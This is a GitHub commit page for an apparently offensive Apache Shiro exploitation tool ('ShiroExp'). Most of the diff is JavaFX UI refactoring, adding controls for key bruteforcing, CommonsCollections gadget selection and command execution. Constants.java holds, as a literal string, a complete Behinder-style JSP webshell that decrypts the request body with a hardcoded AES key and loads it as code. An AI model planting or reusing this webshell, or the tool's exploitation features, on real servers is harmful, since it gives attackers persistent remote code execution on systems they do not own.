Skip to content

Commit

Permalink
ui完成
Browse files Browse the repository at this point in the history
  • Loading branch information
safe6Sec committed Jul 18, 2021
1 parent 47c08b1 commit e8134e0
Show file tree
Hide file tree
Showing 21 changed files with 165 additions and 197 deletions.
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@

*.iml

target

# Compiled class file
*.class
Expand Down
101 changes: 51 additions & 50 deletions src/main/java/cn/safe6/Controller.java
Original file line number Diff line number Diff line change
Expand Up @@ -2,9 +2,10 @@

import cn.safe6.core.Constants;
import cn.safe6.core.VulInfo;
import cn.safe6.util.tools.*;
import cn.safe6.util.Tools;
import javafx.collections.FXCollections;
import javafx.collections.ObservableList;
import javafx.event.ActionEvent;
import javafx.fxml.FXML;
import javafx.geometry.Insets;
import javafx.geometry.Pos;
Expand All @@ -27,37 +28,43 @@

public class Controller {

@FXML
public TextField keys;



@FXML
public ToggleButton scan;
public Button scan;

@FXML
public ChoiceBox method;

@FXML
public TextArea postData;


@FXML
private Label proxyStatusLabel;
public Button burstKey;

@FXML
public CheckBox gcm;

@FXML
public TextArea log;
public ChoiceBox gadget;

@FXML
public ChoiceBox serverType;

@FXML
private TableView<VulInfo> table_view;
public TextField cmd;

@FXML
private TableColumn<VulInfo, String> id;
public Button execCmd;

@FXML
private TableColumn<VulInfo, String> url;
public ChoiceBox checkType;

@FXML
private TableColumn<VulInfo, String> isVul;
public TextArea note;
@FXML
public TableColumn<VulInfo, String> length;
public TextArea log;

public static final ObservableList<VulInfo> datas = FXCollections.observableArrayList();

Expand Down Expand Up @@ -102,53 +109,50 @@ public void initEvent(){



// 基本信息
// 基本配置信息
public void basic() {
this.log.setText(Constants.BASICINFO);
this.log.setEditable(false);
this.log.setWrapText(true);

ObservableList<String> methods = FXCollections.observableArrayList("GET", "POST");
this.note.setText("可用于临时记录");
this.note.setWrapText(true);

ObservableList<String> methodData = FXCollections.observableArrayList("GET", "POST");
method.setValue("GET");
method.setItems(methods);
method.setItems(methodData);

ObservableList<String> checkTypeData = FXCollections.observableArrayList("SimplePrincipalCollection", "DnsLog.cn");
checkType.setValue("SimplePrincipalCollection");
checkType.setItems(checkTypeData);

ObservableList<String> serverTypeData = FXCollections.observableArrayList("Tomcat");
serverType.setValue("Tomcat");
serverType.setItems(serverTypeData);

ObservableList<String> gadgetData = FXCollections.observableArrayList("CommonsCollectionsK1", "CommonsCollectionsK2","CommonsCollectionsK3","CommonsCollectionsK4");
gadget.setValue("CommonsCollectionsK1");
gadget.setItems(gadgetData);



}

@FXML
public void startScan() {
String url = this.target.getText().trim();
if (!Tools.checkTheURL(url)) {
Tools.alert("URL检查", "URL格式不符合要求,示例:http://127.0.0.1:8080/login");
return;
}


if (this.scan.isSelected()) {
if (!Tools.checkTheURL(url)) {
Tools.alert("URL检查", "URL格式不符合要求,示例:http://127.0.0.1:7001/");
this.scan.setSelected(false);
return;
}
this.scan.setText("停 止");

//tab.getSelectionModel().select(1);
scan.setDisable(true);


//通过字典合成url
// List<String> urls = this.getUrls(this.genLogDict());
// 获取用户选择的线程池数量, 创建对应容量的线程池。
// pool = Executors.newFixedThreadPool(Integer.parseInt(this.thread.getValue().toString()));
//pool.submit(new UrlJob(urls.get(i), Constants.METHOD_GET, keys.getText(), log));

}

} else {
this.scan.setText("开 始");
if (pool != null) {
pool.shutdown();
try {
pool.awaitTermination(5, TimeUnit.MICROSECONDS);
pool.shutdownNow();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
@FXML
public void burstKey(ActionEvent actionEvent) {


}
Expand Down Expand Up @@ -195,9 +199,6 @@ public void about() {


}



private void initToolbar() {
//代理 设置
this.proxySetupBtn.setOnAction((event) -> {
Expand Down Expand Up @@ -265,15 +266,16 @@ private void initToolbar() {


} catch (Exception var28) {
this.proxyStatusLabel.setText("代理服务器配置加载失败。");
// this.proxyStatusLabel.setText("代理服务器配置加载失败。");
this.log.appendText("代理服务器配置加载失败。");
var28.printStackTrace();
}


saveBtn.setOnAction((e) -> {
if (disableRadio.isSelected()) {
this.settingInfo.put("proxy", null);
this.proxyStatusLabel.setText("");
// this.proxyStatusLabel.setText("");
inputDialog.getDialogPane().getScene().getWindow().hide();
} else {

Expand Down Expand Up @@ -306,8 +308,6 @@ public PasswordAuthentication getPasswordAuthentication() {
proxy = new Proxy(Proxy.Type.SOCKS, proxyAddr);
this.settingInfo.put("proxy", proxy);
}

this.proxyStatusLabel.setText("代理生效中");
inputDialog.getDialogPane().getScene().getWindow().hide();
}
});
Expand Down Expand Up @@ -340,4 +340,5 @@ public PasswordAuthentication getPasswordAuthentication() {
}



}
9 changes: 2 additions & 7 deletions src/main/java/cn/safe6/Main.java
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@
public class Main extends Application {

@Override
public void start(Stage primaryStage) throws Exception {
public void start(Stage primaryStage) {
try {
ClassLoader classLoader = getClass().getClassLoader();
Parent root = FXMLLoader.load(classLoader.getResource("sample.fxml"));
Expand All @@ -26,12 +26,7 @@ public void start(Stage primaryStage) throws Exception {

primaryStage.setScene(new Scene(root));
// 退出程序的时候,子线程也一起退出
primaryStage.setOnCloseRequest(new EventHandler<WindowEvent>() {
@Override
public void handle(WindowEvent event) {
System.exit(0);
}
});
primaryStage.setOnCloseRequest(event -> System.exit(0));
//设置窗口不可拉伸
primaryStage.setResizable(false);

Expand Down
23 changes: 1 addition & 22 deletions src/main/java/cn/safe6/core/Constants.java
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,6 @@
* @github https://github.com/yhy0
* <p>
* <p>
* safe6:正常来讲这些常量应该丢到一个接口里面去,而不是放着类里
*/

public interface Constants {
Expand All @@ -21,6 +20,7 @@ public interface Constants {
String AUTHOR = "Safe6Sec";

String BASICINFO = "[*]本工具提供给安全测试人员,安全工程师,进行安全自查使用,请勿非法使用\r\n" +
"[*]作者博客: http://www.safe6.cn/\r\n"+
"[*]Bug反馈: https://github.com/safe6Sec/ShiroExp\r\n";


Expand All @@ -31,28 +31,7 @@ public interface Constants {
"ISO-8859-1"
};

String[] TP5PATH = {
"/runtime/log/"

};
String[] TP3PATH = {
"/Runtime/Logs/ ",
"/App/Runtime/Logs/",
" /Application/Runtime/Logs/Admin/",
"/Application/Runtime/Logs/Home/",
"/Application/Runtime/Logs/App/",
"/Application/Runtime/Logs/Ext/",
"/Application/Runtime/Logs/Api/",
"/Application/Runtime/Logs/Test/",
"/Application/Runtime/Logs/Common/",
"/Application/Runtime/Logs/Service/",
"/Application/Runtime/Logs/"
};

// fofa 搜索数
int[] SIZE = {10, 50, 100, 300, 600, 1000, 10000};
// fofa配置保存位置
String FOFAPATH = "fofa.conf";

// 默认为冰蝎3 的shell.jspx
String SHELL = "<jsp:root xmlns:jsp=\"http://java.sun.com/JSP/Page\" version=\"1.2\"><jsp:directive.page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>String k=\"e45e329feb5d925b\";session.putValue(\"u\",k);Cipher c=Cipher.getInstance(\"AES\");c.init(2,new SecretKeySpec((session.getValue(\"u\")+\"\").getBytes(),\"AES\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>";
Expand Down
2 changes: 0 additions & 2 deletions src/main/java/cn/safe6/core/Job.java
Original file line number Diff line number Diff line change
@@ -1,7 +1,5 @@
package cn.safe6.core;

import cn.safe6.util.tools.Tools;

import java.util.concurrent.Callable;

/**
Expand Down
3 changes: 1 addition & 2 deletions src/main/java/cn/safe6/core/UrlJob.java
Original file line number Diff line number Diff line change
@@ -1,8 +1,7 @@
package cn.safe6.core;

import cn.safe6.Controller;
import cn.safe6.util.tools.HttpTool;
import cn.safe6.util.tools.Tools;
import cn.safe6.util.HttpTool;
import javafx.application.Platform;
import javafx.scene.control.TextArea;

Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
package cn.safe6.util.tools;
package cn.safe6.util;

/**
* @author yhy
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
package cn.safe6.util.tools;
package cn.safe6.util;

/**
* @author yhy
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
package cn.safe6.util.tools;
package cn.safe6.util;

/**
* @author yhy
Expand Down
Loading

0 comments on commit e8134e0

Please sign in to comment.